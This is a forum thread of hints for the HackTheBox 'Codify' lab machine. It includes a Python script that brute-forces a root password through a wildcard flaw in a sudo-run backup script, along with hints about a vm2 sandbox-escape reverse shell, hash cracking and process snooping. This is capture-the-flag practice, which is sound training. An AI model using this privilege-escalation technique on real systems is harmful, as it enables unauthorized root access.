HTB - Codify
by chillywilly - Saturday November 4, 2023 at 07:13 PM
#41
import string
import subprocess

all_characters_and_numbers = list(string.ascii_letters + string.digits)

password = ""
found = False

while not found:
    for character in all_characters_and_numbers:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True
Reply
#42
Is the hash in /var/www/contact/ useful?
Reply
#43
Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)
Reply
#44
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?
Reply
#45
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?

su - 
and paste your passwd
Reply
#46
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?
Reply
#47
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above
Reply
#48
(Nov 05, 2023, 04:20 PM)0BL1V10N Wrote:
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?
Reply
#49
(Nov 04, 2023, 07:13 PM)chillywilly Wrote: lets goooooo  Big Grin

hopefully the box starts working off to a rough start
its a node.js box

dont really enjoy stuff but here goes nothing
Reply
#50
(Nov 05, 2023, 04:56 PM)intersteller2038 Wrote:
(Nov 05, 2023, 04:20 PM)0BL1V10N Wrote:
(Nov 05, 2023, 04:10 PM)intersteller2038 Wrote:
(Nov 05, 2023, 07:17 AM)xts Wrote:
(Nov 05, 2023, 07:07 AM)McJhonkler Wrote: Hint: vm2 poc (reverse shell in js)

USER:
.db + john

ROOT:
pspy + .sh (some digit will work Tongue)

i got mysql password but how i use it for root?


Where did you find the pass?

You can bruteforce the password, just use the script that user rwwwshell posted above


Got it, but is there any other way of solving the machine?

Yes, you can run the sudo command and then pspy and you will find something interesting
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 20 2,474 11 hours ago
Last Post: op334
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 3 382 Yesterday, 10:36 PM
Last Post: op334
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 369 91,954 Yesterday, 04:10 PM
Last Post: sabbyahmed
  CBBH Write Ups hiddenhacker 22 6,222 Yesterday, 06:39 AM
Last Post: Usercomplex
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 86 7,805 Apr 28, 2026, 11:39 PM
Last Post: my4ri0d0

Forum Jump:


 Users browsing this forum: 1 Guest(s)